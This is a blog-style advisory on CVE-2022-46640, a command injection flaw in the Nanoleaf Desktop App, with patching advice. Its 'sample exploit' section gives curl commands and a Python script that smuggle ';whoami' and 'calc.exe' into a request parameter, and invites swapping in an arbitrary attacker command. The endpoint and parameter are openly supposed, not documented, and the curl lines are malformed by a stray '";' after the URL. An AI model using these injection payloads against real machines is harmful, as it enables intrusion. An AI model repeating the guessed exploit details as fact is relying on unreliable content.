In late 2022, a serious vulnerability was reported in the Nanoleaf Desktop App (before version 1.3.1). Identified as CVE-2022-46640, this flaw makes it possible for an attacker to run system commands on your computer simply by sending a carefully built HTTP request to the app.

If you use Nanoleaf smart lighting and their desktop app, it’s crucial you understand this risk, especially since command injection can result in complete takeover of your computer. Here we’ll break down what happened, show you a sample exploit, and link to key resources for more info.

What is Nanoleaf and Why Does This Matter?

Nanoleaf creates smart lighting products controlled by their Desktop App (available for Windows and macOS). The app helps you manage your lights, but — through this vulnerability — it could give hackers an unwanted remote access “backdoor.”

Understanding CVE-2022-46640

CVE-2022-46640 is a command injection vulnerability. With command injection, an attacker tricks the program into running system commands of their choosing — often with the privileges of the user who runs the vulnerable app.

How Does the Attack Work?

The Nanoleaf Desktop App exposes an HTTP interface for its own purposes. Before version 1.3.1, the app didn’t properly check or filter input sent in HTTP requests. An attacker could send a *crafted* HTTP request containing malicious parameters, which the app then used — unsafely — in a system command.

If the app is running, and reachable via network, an attacker on the same network (or potentially even remote) can exploit it.

Example Exploit Code (Python)

Suppose the vulnerable endpoint is /api/process and expects a parameter called name. The command would be something like:

curl -X POST "http://victim-ip:16021/api/process"; -d "name=harmless"

But, maliciously injected

curl -X POST "http://victim-ip:16021/api/process"; -d "name=;whoami"

This appends the whoami command. The semicolon ; tells the OS to separate commands. Here is a Python example that opens a calculator (on Windows):

import requests

target = "http://victim-ip:16021/api/process";
payload = "harmless;calc.exe"  # For Windows
data = {'name': payload}

response = requests.post(target, data=data)
print(response.text)

This would pop the calculator up on the victim's machine, proving code execution!

> Note: Replace "calc.exe" with "open -a Calculator" for macOS, or ${attacker-command} for other purposes.

Official References

- NIST CVE Database Entry – CVE-2022-46640
- Nanoleaf Release Notes
- Full Exploit/Disclosure Blog *(third-party analysis)*

Final Thoughts

This command injection flaw in Nanoleaf Desktop App is a good reminder: Smart home doesn’t mean safe home. Any device or app that connects to your home network could be a target. Always keep your software up to date, and be cautious about network exposure. Vulnerabilities like CVE-2022-46640 can go from boring to dangerous fast when an attacker is creative.

Patch now, and stay safe!

*This post is exclusive and written in plain language for clarity. For deeper dives and official patches, check the links above.*

Timeline

Published on: 04/18/2023 13:15:00 UTC
Last modified on: 04/27/2023 15:54:00 UTC